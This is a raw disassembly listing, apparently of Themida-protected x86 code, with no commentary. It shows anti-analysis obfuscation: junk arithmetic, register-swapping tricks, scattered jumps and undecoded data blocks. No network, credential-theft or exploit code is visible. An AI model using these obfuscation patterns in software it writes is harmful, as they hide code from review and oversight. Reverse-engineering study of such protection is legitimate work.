loc_55CEBC:				; CODE XREF: Themida_:0055CEC3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55CEBC


loc_55CEC5:				; CODE XREF: Themida_:0055D0D5j
					; Themida_:loc_55D97Aj	...
		lodsb
		xor	al, bl
		push	4F25h
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5688C3
; ---------------------------------------------------------------------------
		db 4Eh,	46h, 0F7h
		dd 0F5BA52D6h, 8125BE4Fh, 1C31B1E2h, 0C2814218h, 5D677C73h
		dd 0F281DAF7h, 21D672B2h, 3B6CC281h, 0D629EA0Ch, 0E9F0295Ah
		dd 4B54h, 58AABE56h, 0C1817326h, 524416Ch, 3451BF57h, 0F90162B9h
		dd 38EAE9h, 0B2525900h,	0F6D2F6B8h, 0EC69E9DAh,	89B10000h
		dd 5966C800h, 592434FFh, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 815C2414h, 2ECh, 14896600h, 0B7535124h, 82F78004h, 0E967B450h
		dd 12E28h
; ---------------------------------------------------------------------------


loc_55CF78:				; CODE XREF: Themida_:0056AC36j
		add	esp, 4
		push	23EAh
		jmp	loc_56B2CD
; ---------------------------------------------------------------------------
		dd 4C7FC181h, 0D1012939h, 4C7FE981h, 0BF572939h, 59925066h
		dd 4C5AB850h, 0C73172A7h, 0E9515558h, 238Dh, 5D3668h, 242C8900h
		dd 7539FF68h, 242C8B06h, 0E904C483h, 0F387h, 766D892Dh
		dd 5F8017Eh, 7E766D89h,	0DA75E9h, 1A64BB00h, 814B6264h
		dd 617893F3h, 82F3811Fh, 8151C565h, 7EB6CDEBh, 5BD88906h
		dd 0BB534048h, 7E0E72EDh, 8107EBC1h, 0A4059FF3h, 15EB8133h
		dd 31B50BDBh, 0C7CE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D00E:				; CODE XREF: Themida_:0055DA50j
		and	ebx, 43F6463Fh
		add	ebx, 1523DACh
		sub	ebx, 0F7FD1990h
		jmp	loc_5616B5
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
		dd 2688E924h, 0C6810001h, 45273C7Bh, 28E9565Bh
		db 11h,	1, 0
; ---------------------------------------------------------------------------


loc_55D03B:				; CODE XREF: Themida_:0056451Bj
		add	edi, 0D33C3567h
		add	ebx, edi
		pop	edi
		add	ebx, ebp
		sub	ebx, 436015CBh
		sub	ebx, 3260575Dh
		jmp	loc_55F926
; ---------------------------------------------------------------------------
		db 53h
		dd 2254B0BBh, 7EBC16Fh,	5FCFCB81h, 13E963C5h, 590000FBh
		dd 0E79AE9h, 4C78100h, 56000000h, 23A2B850h, 31BE073Eh
		dd 3115946Eh, 36A1E9C6h, 722D0000h, 81EBFFF3h, 24361CEAh
		dd 4EC835Dh, 0BD242C89h, 54A044E4h, 0F581EDD1h,	31894409h
		dd 11C93E9h, 81E28900h,	4C2h, 4C28300h,	5C241487h, 4EC81h
		dd 0C890000h, 567B6824h, 24890000h, 4AB5E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55D0D2:				; CODE XREF: Themida_:00562A46j
		pop	small word ptr [eax]
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
aXpsic		db 'XPéiæ',0
		db 0
; ---------------------------------------------------------------------------


loc_55D0E1:				; CODE XREF: Themida_:0056C1ECj
		push	eax
		mov	eax, 0
		add	eax, 4D4E0FBAh
		jmp	loc_56E155
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 875EF729h, 895C243Ch, 4832424h, 0E0E90424h, 3300010Ch
		dd 0E95C242Ch, 123CBh, 5C241C87h, 31240C33h, 7FE9240Ch
		dd 0B90000EBh, 0
		dd 45E9C101h, 680000B4h, 7637h,	0E9241489h, 719Ch
; ---------------------------------------------------------------------------


loc_55D138:				; CODE XREF: Themida_:0056B472j
		push	ebx
		jmp	loc_55E00A
; ---------------------------------------------------------------------------


loc_55D13E:				; CODE XREF: Themida_:0055E648j
		mov	edi, 4
		add	dword ptr [esp+4], 11944C78h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 11944C78h
		pop	edi
		jmp	loc_563644
; ---------------------------------------------------------------------------
		db 1, 0D9h, 5Bh
		dd 330D68h, 24048900h, 1117BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D16D:				; CODE XREF: Themida_:0055E698j
		xor	edi, 3D229F7h
		or	edi, 614D3B19h
		push	eax
		mov	eax, 715F7FDCh
		jmp	loc_562131
; ---------------------------------------------------------------------------


loc_55D184:				; CODE XREF: Themida_:005663F2j
		mov	[esp], edi
		push	eax
		mov	eax, 519D4B7Dh
		mov	edi, 519D4B79h
		jmp	loc_571038
; ---------------------------------------------------------------------------
		db 1
		dd 0AF03E9C3h, 57BD0000h, 0E96CED08h, 13217h, 5E5FFD29h
		dd 8704ED83h, 895C242Ch, 8B54242Ch, 0C481242Ch,	4, 2038E9h
		dd 4316600h, 0F6E99C24h, 83FFFFFCh, 148904ECh, 0D9EBA24h
		dd 0E9426C11h, 14819h
; ---------------------------------------------------------------------------


loc_55D1E0:				; CODE XREF: Themida_:0056B72Fj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_55ECE9
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF2414h, 6E90424h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D1FB:				; CODE XREF: Themida_:00564608j
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_56474B
; ---------------------------------------------------------------------------
		dd 8B240C33h, 24D22424h, 0A6E99C24h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D21F:				; CODE XREF: Themida_:0056A65Fj
		pop	esp
		add	edx, ebx
		pop	ebx
		push	edi
		jmp	loc_56B146
; ---------------------------------------------------------------------------
aZst		db 'Zéâ]',0
		dw 4700h
		dd 0F000EF81h, 0F889B8EEh, 119D0E9h, 75D1BA00h,	0EA816A1Bh
		dd 6A1B75CFh, 14AFE9h, 0E932FF00h, 0ADBBh
; ---------------------------------------------------------------------------


loc_55D254:				; CODE XREF: Themida_:00564D6Fj
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_564A35
; ---------------------------------------------------------------------------


loc_55D262:				; CODE XREF: Themida_:0056F375j
		add	esp, 4
		push	4505h
		mov	[esp], ecx
		jmp	loc_567F2B
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0C895C24h, 8093B124h, 0CA2880C2h, 73CE9h, 0FC3BE900h
		dd 815FFFFFh, 132F56C6h, 0FCB85066h, 1539B45h, 0F75658C6h
		dd 53E9241Ch, 810000FDh, 1C14B5E9h, 59CF0150h, 0CC1F472Dh
		dd 0E9F8017Fh, 0C221h, 42E9565Ah
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D2BF:				; CODE XREF: Themida_:0056DC85j
		pop	esp
		pop	ebp
		shl	ebx, 1
		push	edi
		mov	edi, esp
		jmp	loc_56F430
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95504C4h, 0A65Bh, 3350C681h, 0E95D3F26h, 10A81h, 2BBh
		dd 0FFD80100h, 835B2434h, 49E904C4h
		db 3Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55D2F3:				; CODE XREF: Themida_:00570A03j
		push	dword ptr [esp]
		jmp	loc_5671CE
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 24348900h, 80EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D30D:				; CODE XREF: Themida_:00565A98j
		not	ecx
		push	ebx
		jmp	loc_5697FB
; ---------------------------------------------------------------------------
aYsI		db 'Yé(¨',0
		dw 5200h
aPs4		db 'Pé°4',0
		align 2
		dw 0C481h
		dd 4, 4E8068h, 242C8900h, 0DF0655BDh, 246C2979h, 4295D04h
		dd 24048124h, 79DF0655h, 1D1268h, 243C8900h, 5572E8BFh
		dd 24448133h, 141CB504h, 247C0105h, 0B5BF5704h,	2905141Ch
		dd 5F08247Ch, 8B2434FFh, 0C481243Ch, 4,	4C481h,	46E90000h
		dd 66FFFFFBh, 52240489h, 0F488FE88h, 563E95Ah
		db 1, 0
; ---------------------------------------------------------------------------


loc_55D38E:				; CODE XREF: Themida_:005686D4j
		add	edx, 4
		push	ebp
		mov	ebp, 2BD933BBh
		and	ebp, 1F857F5Ch
		neg	ebp
		sub	ebp, 0F47ECCE4h
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_563AB3
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4462AA7h
		mov	ebx, 4462AA3h
		xor	ebx, ecx
		jmp	loc_56EF96
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 33B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D3E9:				; CODE XREF: Themida_:00570F56j
		mov	[esp], ebp
		push	655Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_563EA1
; ---------------------------------------------------------------------------
aQissj		db '\Q‰áé†Ð',0
		align 2
aMrst5		db '¬Réâ5',0
		db 0
; ---------------------------------------------------------------------------


loc_55D40D:				; CODE XREF: Themida_:0056BCBAj
		sub	edx, ebx
		jmp	loc_568726
; ---------------------------------------------------------------------------
aUpsqu		db 'UPéQ“',0
		db 0
; ---------------------------------------------------------------------------


loc_55D41B:				; CODE XREF: Themida_:0056C434j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 99D7BE1h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_571C80
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 248B240Ch, 4296624h,	7EE99C24h, 80FFFFFAh, 0CB0001E9h
		dd 0FFC38059h, 0D5F6EB86h, 6866EB86h, 1C280000h, 241C8A24h
		dd 5202C483h, 6CDEE9h, 8B5A5900h, 8952241Ch, 4C281E2h
		dd 0E9000000h, 14485h, 0FBE95346h, 68000050h, 293Dh, 0E9241C89h
		dd 0C905h
; ---------------------------------------------------------------------------


loc_55D490:				; CODE XREF: Themida_:0055E2B3j
		push	1DA5h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	4347h
		mov	[esp], edx
		jmp	loc_562BF4
; ---------------------------------------------------------------------------
		db 68h
		dd 7DC5h, 0D311E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D4BD:				; CODE XREF: Themida_:005705D5j
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 2ADD11A8h
		jmp	loc_561B3E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2A494BF4h, 0E2E9FD01h, 0F700013Bh, 76E951D7h, 0C00000DCh
		dd 0D8F607E8h, 0C208AB2Ch, 3C66E9h, 241C3300h, 33241C31h
		dd 6AE9241Ch, 810000AEh, 4C7h, 4C78300h, 0E9243C87h, 150EFh
		dd 0D36F30B9h, 0ECE98153h, 81006E6Ah, 0B95F95C9h, 0EFC18120h
		dd 0E977112Ch, 1A0Eh, 2C481h, 0F2800000h, 0E4EA807Ch, 7B2968h
		dd 24048900h, 0B252F4B4h, 0C6EC80FFh, 0C480D400h, 50665AC6h
		dd 1244C86h, 4C86D1F6h,	8B660124h, 0C4832404h, 4E4C002h
		dd 66D7C480h, 3451E953h, 68580000h, 416Ah, 89241489h, 4C281E2h
		dd 83000000h, 0AE904C2h, 5A000043h, 2F37EE81h, 0EE015504h
		dd 12902E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D595:				; CODE XREF: Themida_:0056967Fj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_570C04
; ---------------------------------------------------------------------------
		db 29h
		dd 45B951F0h, 2967A948h, 15E59C8h, 2C8758C5h, 24248B24h
		dd 0C0DAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D5C9:				; CODE XREF: Themida_:00565DDBj
		pop	esp
		jmp	loc_55E043
; ---------------------------------------------------------------------------


loc_55D5CF:				; CODE XREF: Themida_:0056B328j
		push	ecx
		mov	ecx, 87F39003h
		sub	esi, ecx
		mov	ecx, [esp]
		jmp	loc_56A146
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0D1F65A66h, 2404FE51h, 52240C8Bh, 0C281E289h, 4, 187FE9h
		dd 87C28000h, 0E916B551h, 4ED5h, 0B5C7E981h, 0CE8909BCh
		dd 0ACCE8159h, 46538A0Eh, 20E5CE81h, 0E6C125C5h, 26D9E902h
		dd 0C3810000h, 192B661Bh, 1C13C381h, 2C8B5F9Dh,	4C48324h
		dd 598E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D639:				; CODE XREF: Themida_:005671A2j
		dec	ebp
		or	ebp, 73CB5E94h
		sub	ebp, 0B2D46CDh
		jmp	loc_55D714
; ---------------------------------------------------------------------------
		db 29h
		dd 24348BF1h, 8D4FE9h, 5BD92900h, 0D7BBC181h, 7DE9F855h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D663:				; CODE XREF: Themida_:00571B3Fj
		sub	eax, esi
		pop	esi
		pop	esi
		add	eax, edx
		push	edx
		mov	edx, 1FED4020h
		shr	edx, 4
		shr	edx, 7
		dec	edx
		dec	edx
		add	edx, 41D47443h
		add	eax, edx
		pop	edx
		push	dword ptr [eax]
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_570538
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 0E9241C31h, 2A8Bh, 48BE708h,	8A0E924h, 64B30001h, 5BD800h
		dd 64B252D0h, 7448E9h, 780AB900h, 0DEE947B0h, 5E000083h
		dd 7C98BA52h, 0EAC12A44h, 4DB85006h, 0C1603C1Fh, 354804E0h
		dd 6DC25D40h, 5CE9D8F7h
		db 0F9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6DF:				; CODE XREF: Themida_:0055DF74j
		mov	edi, esp
		push	2348h
		jmp	loc_56509F
; ---------------------------------------------------------------------------
aZSl		db '‡,$é‹Å',0
		db 0
; ---------------------------------------------------------------------------


loc_55D6F3:				; CODE XREF: Themida_:0055F268j
		xor	edx, ecx
		pop	ecx
		jmp	loc_569967
; ---------------------------------------------------------------------------
		db 1
		dd 21FCE9C5h, 515A0000h, 5A5BF3B9h, 0BAE98114h,	0E9263963h
		dd 12FEBh
; ---------------------------------------------------------------------------


loc_55D714:				; CODE XREF: Themida_:0055D646j
		xor	ebp, 7622616Dh
		sub	eax, ebp
		pop	ebp
		and	eax, 5E0279B7h
		add	eax, 0BBFDDF01h
		push	ebx
		jmp	loc_55FB38
; ---------------------------------------------------------------------------
		db 0BAh, 0E3h, 5Ah
		dd 0EA816994h, 11941DA1h, 4A03E2C1h, 9A65E956h,	0C5B30000h
		dd 0B65BD988h, 0E9CE28E7h, 2457h, 0E9241C89h, 10DCDh, 4FA6852h
		dd 515A5CCBh, 3802EE68h, 2434FF64h, 81240C8Bh, 4C4h, 4C48300h
		dd 4E9CA09h, 210000CAh,	0BF96E9F9h, 4BE0000h, 1000000h
		dd 0BA525EF7h, 4, 875AD729h, 895C243Ch,	0EC83240Ch, 24048904h
		dd 5220F8B8h, 20FCB971h, 0E9817152h, 738D15BBh,	0BE56C129h
		dd 50F2D76h, 281DF681h,	0C68154AEh, 21EC1050h, 8B5EF101h
		dd 0C4812404h, 4, 4244C01h, 97A4E959h, 0CD810000h, 3E87EFFh
		dd 7EFBF581h, 0FBE95BF9h, 68000085h, 5168h, 0BD242C89h
		dd 0FEh, 0FF1C6F21h, 515D2434h,	0C1815954h, 4, 6804E983h
		dd 362h, 0E9240C89h, 0FAA6h, 9AFD72BEh,	25E981FFh, 138D909h
		dd 25C181F1h, 0FF38D909h, 91E92434h, 0F70000F4h, 8E3C1D3h
		dd 0C381DBF7h, 623F4AB7h, 0A7C4C381h, 0CB818E8Bh, 57F74CADh
		dd 3A08BD55h, 0EDC15C02h, 0AAC58107h, 0E949C131h, 890h
; ---------------------------------------------------------------------------


loc_55D860:				; CODE XREF: Themida_:00569709j
		pop	eax
		and	edx, 322B62FDh
		or	edx, 0C506A52h
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_5717D9
; ---------------------------------------------------------------------------


loc_55D877:				; CODE XREF: Themida_:0057157Dj
		add	ebp, eax
		pop	eax
		push	ebp
		push	1A61h
		mov	[esp], edi
		jmp	loc_56C068
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 4C481h, 0A8E90000h, 580000E0h, 241C8B59h
		dd 0E904C483h, 0C9Ah
; ---------------------------------------------------------------------------


loc_55D8A4:				; CODE XREF: Themida_:005714EAj
		push	ebp
		mov	ebp, edi
		mov	ebx, ebp
		pop	ebp
		pop	edi
		jmp	loc_5714EF
; ---------------------------------------------------------------------------


loc_55D8B0:				; CODE XREF: Themida_:00565239j
		push	esi
		jmp	loc_56CDBA
; ---------------------------------------------------------------------------


loc_55D8B6:				; CODE XREF: Themida_:005631E5j
		or	edx, 7FC4259Ah
		sub	edx, 0FFFFFFFFh
		add	edx, 5D467877h
		add	edx, 232F6419h
		jmp	loc_562196
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2CD22424h, 0E6E99C24h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D8DF:				; CODE XREF: Themida_:0056EE41j
		movzx	cx, ah
		sub	esp, 4
		jmp	loc_56732D
; ---------------------------------------------------------------------------
		dw 1C33h
aLSss		db '$‹$$éSS',0
		dd 81E38900h, 4C3h, 4EB8300h, 5C241C87h, 10741E9h, 0F2F78100h
		dd 17E3E37h, 0C1835FF9h, 240C8704h, 10F53E9h, 88526600h
		dd 885366DAh, 88D088C3h, 0E95B66DAh, 0D886h
; ---------------------------------------------------------------------------


loc_55D934:				; CODE XREF: Themida_:00571C60j
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_56ACB7
; ---------------------------------------------------------------------------
		dd 685155ADh, 2B1F3A70h, 500BE9h, 0D12BBE00h, 0E95033F9h
		dd 5667h, 8246C01h, 0E3F5E95Dh,	0E9830000h, 2B54E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D97A:				; CODE XREF: Themida_:0055E453j
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		db 89h
		dd 7EB42404h, 0FEFFEC80h, 0B5EC80C4h, 9EB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D991:				; CODE XREF: Themida_:0056567Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 2B4C0B82h
		shl	ebp, 3
		jmp	loc_561115
; ---------------------------------------------------------------------------


loc_55D9A8:				; CODE XREF: Themida_:00561E4Dj
		mov	edi, ebp
		jmp	loc_56C670
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF511h
; ---------------------------------------------------------------------------


loc_55D9B4:				; CODE XREF: Themida_:00569345j
		add	ebx, 0FDC1E59h
		add	esi, ebx
		jmp	loc_570885
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 80h
		dd 8BD58859h, 0AE92414h, 0E9000142h, 0FFFFF4F1h, 4B9h
		dd 3D7CE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55D9DE:				; CODE XREF: Themida_:0056A248j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	esi
		mov	esi, ecx
		push	esi
		xor	dword ptr [esp], 32CF7F51h
		pop	eax
		xor	eax, 32CF7F51h
		pop	esi
		push	eax
		jmp	loc_5668F7
; ---------------------------------------------------------------------------


loc_55DA1F:				; CODE XREF: Themida_:005718BDj
		mov	ecx, 392C1D47h
		neg	ecx
		jmp	loc_55F8F1
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0A136F38h, 0C8BCB29h, 4C48124h, 0E9000000h, 142D5h
; ---------------------------------------------------------------------------


loc_55DA40:				; CODE XREF: Themida_:0057020Dj
		add	esp, 4
		push	3ED5h
		mov	[esp], ebx
		mov	ebx, 6A156539h
		jmp	loc_55D00E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_567736
; ---------------------------------------------------------------------------


loc_55DA5D:				; CODE XREF: Themida_:0055EF47j
		mov	ebp, 670A5319h
		mov	ebx, 5B264DE4h
		jmp	loc_55DE58
; ---------------------------------------------------------------------------
		dd 0AB35366h, 5B66D828h, 10A56E9h, 3027B500h, 0E95966ECh
		dd 11832h, 52241C89h, 140B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DA8D:				; CODE XREF: Themida_:005631ECj
		add	edx, 338A2C59h
		pop	eax
		jmp	loc_56F347
; ---------------------------------------------------------------------------


loc_55DA99:				; CODE XREF: Themida_:00561714j
		and	eax, ecx
		pop	ecx
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_56DBDE
; ---------------------------------------------------------------------------
		dw 8966h
		dd 54F6240Ch, 59660124h, 0C015B753h, 0A3E906E7h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DABB:				; CODE XREF: Themida_:0056CAF0j
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_570C18
; ---------------------------------------------------------------------------


loc_55DAF2:				; CODE XREF: Themida_:0056EA48j
		add	ebp, ecx
		pop	ecx
		add	ebx, 14F6752Fh
		add	ebx, ebp
		sub	ebx, 14F6752Fh
		mov	ebp, [esp]
		add	esp, 4
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5658A8
; ---------------------------------------------------------------------------
		db 89h
		dd 315E5AD0h, 8B042444h, 0C4832404h, 24148B04h,	0E904EC83h
		dd 10861h, 8104C483h, 4C4h, 2348E900h, 0C3010000h, 4C38158h
		dd 87000000h, 815C241Ch, 4C4h, 2C350400h, 0E9D504D5h, 141EDh
; ---------------------------------------------------------------------------


loc_55DB58:				; CODE XREF: Themida_:0056CB9Ej
		push	edi
		push	ebp
		mov	ebp, 15011E23h
		mov	edi, 1C86191Dh
		xor	edi, ebp
		pop	ebp
		add	eax, edi
		pop	edi
		jmp	loc_55DF43
; ---------------------------------------------------------------------------
		db 56h
		dd 0CB117FBEh, 0FFC68154h, 81FFFFFFh, 5714D0C6h, 0D3F68105h
		dd 81228938h, 0A64F4CCEh, 27C68117h, 0E98050A0h, 0AF76h
		dd 4E9C230h, 810000F2h,	0E34E16C1h, 0F6F9E96Eh,	8B66FFFFh
		dd 64682404h, 8900004Ch, 0D7682434h, 8900003Dh,	4812424h
		dd 424h, 0EC815E00h, 4,	0FA48E9h, 74E95000h
		db 3Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55DBD7:				; CODE XREF: Themida_:005694C6j
		push	ebx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_56D48B
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFF909h, 5C76BE56h, 8EBF2DA8h, 1D257A3h, 0F9015EF7h
		dd 5F2434FFh, 4EC81h, 33E90000h, 5800005Bh, 0E95A5452h
		dd 198Dh, 8104C483h, 155E0FCEh,	1FBB530Fh, 110A82Ch, 0F6815BDEh
		dd 68821443h, 0EF92E9h,	0C6EB8100h, 53D81983h, 14709E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DC39:				; CODE XREF: Themida_:0055ED87j
		mov	[esp], ebp
		push	5F0561B6h
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_562628
; ---------------------------------------------------------------------------
		dd 6CBCCF81h, 0B9511DAFh, 61591225h, 24F4F181h,	0CF314C28h
		dd 1E55E9h, 4FC78000h, 1C8BF830h, 4C48324h, 3A036866h
		dd 24148966h, 4EC81h, 0C890000h, 0FE87B524h, 4A9E9CDh
		dd 315B0000h, 0A262E9C3h, 0A1BE0000h, 507CB236h, 0A031CEB8h
		dd 58C60974h, 44DDBA52h, 0EA8104A4h, 0FFFFFFFFh, 2CE4E955h
		dd 59540000h, 4C181h, 41680000h, 0E9000019h, 543h, 4C481h
		dd 0F7310000h, 462BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DCD1:				; CODE XREF: Themida_:00571042j
		mov	edx, 90E2605h
		jmp	loc_55E4A3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9AE92424h
		db 49h,	1, 0
; ---------------------------------------------------------------------------


loc_55DCE3:				; CODE XREF: Themida_:0055E00Bj
		mov	edx, 4C61709Ah
		mov	ebx, edx
		jmp	loc_56636D
; ---------------------------------------------------------------------------


loc_55DCEF:				; CODE XREF: Themida_:00566DDFj
		pop	ecx
		add	ecx, 31A3749Ah
		add	ecx, 561F178Ah
		add	ecx, eax
		jmp	loc_565C8E
; ---------------------------------------------------------------------------


loc_55DD03:				; CODE XREF: Themida_:005664CAj
		mov	edi, 7E181893h
		sub	ebp, edi
		pop	edi
		sub	ebp, eax
		add	ebp, 7E181893h
		pop	eax
		xor	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3654404Eh
		xor	edx, 428029CCh
		xor	edi, edx
		jmp	loc_5619D2
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 4EC835Fh, 0BA241489h, 4, 0E95AD101h,	8D9Fh, 96E1C381h
		dd 0D929797Ch, 39E9815Bh, 81540D56h, 0E8ACA7C1h, 0A8EA8159h
		dd 0E9328958h, 122C8h, 5BD82959h, 7F3FEA81h, 0C20108B8h
		dd 7F3FBD55h, 0EA0108B8h, 0FA01585Dh, 425EEA81h, 34FF4154h
		dd 0C4835F24h, 4EC8304h, 0B9240C89h, 2,	74A1E9h, 0E9F80100h
		dd 0BFC0h, 0E9240489h, 0FBECh, 4C481h, 55E90000h, 5F000034h
		dd 0E904EC83h, 2D73h, 240C8966h, 0C8B60F66h, 8DBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DDCD:				; CODE XREF: Themida_:0056E06Ej
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		jmp	loc_569C84
; ---------------------------------------------------------------------------
		db 80h,	0CEh, 0EDh
		dd 6682C680h, 301AB551h, 0E95966EEh, 6768h
; ---------------------------------------------------------------------------


loc_55DDEC:				; CODE XREF: Themida_:00567464j
		push	5248h
		jmp	loc_56BFEB
; ---------------------------------------------------------------------------


loc_55DDF6:				; CODE XREF: Themida_:00568A4Ej
		add	ecx, 1
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	ebx
		mov	ebx, 3FC362Ch
		jmp	loc_567132
; ---------------------------------------------------------------------------
		db 0E9h, 0AFh, 0F0h
		dd 8B66FFFFh, 0BF68240Ch, 8900005Fh, 0D3E9243Ch, 89000054h
		dd 33BF243Ch, 4F7BFF18h, 0C2B3EF81h, 0FB0147B0h, 2267E9h
		dd 5AD53100h, 0DF2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DE45:				; CODE XREF: Themida_:0056788Ej
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_562A4B
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF06Dh
; ---------------------------------------------------------------------------


loc_55DE58:				; CODE XREF: Themida_:0055DA67j
		push	esi
		mov	esi, 0ADFA31D5h
		add	ebx, esi
		pop	esi
		xor	ebx, 0BC186FC2h
		add	ebx, 3260575Dh
		jmp	loc_56AD79
; ---------------------------------------------------------------------------
		dw 0FE89h
		dd 0E9F7015Fh, 2D0Dh, 4C7835Dh,	31243C33h, 3C33243Ch, 0E9815C24h
		dd 1, 1614E956h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55DE96:				; CODE XREF: Themida_:0056C1E2j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		xchg	ebp, [esp]
		add	ebp, 1
		push	6254h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5679E4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 148468h, 0AE98E900h,	5C680000h, 8900003Fh, 68512414h
		dd 19482A73h, 0E9240C8Bh, 1474Ch, 1C8BFC30h, 4C48124h
		dd 30000000h, 9A56E9E6h, 8B660000h, 5456240Ch, 0CCECE95Eh
		dd 56BF0000h, 315CF810h, 0CB815FFBh, 48CB1B3Fh,	5BE1E943h
		dd 0C2810000h, 4, 5204EA83h, 42474FFh, 8324148Bh, 2C8904ECh
		dd 0B4E95424h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DF43:				; CODE XREF: Themida_:0055DB6Aj
		sub	eax, edx
		sub	eax, 987073Eh
		jmp	loc_56F0F7
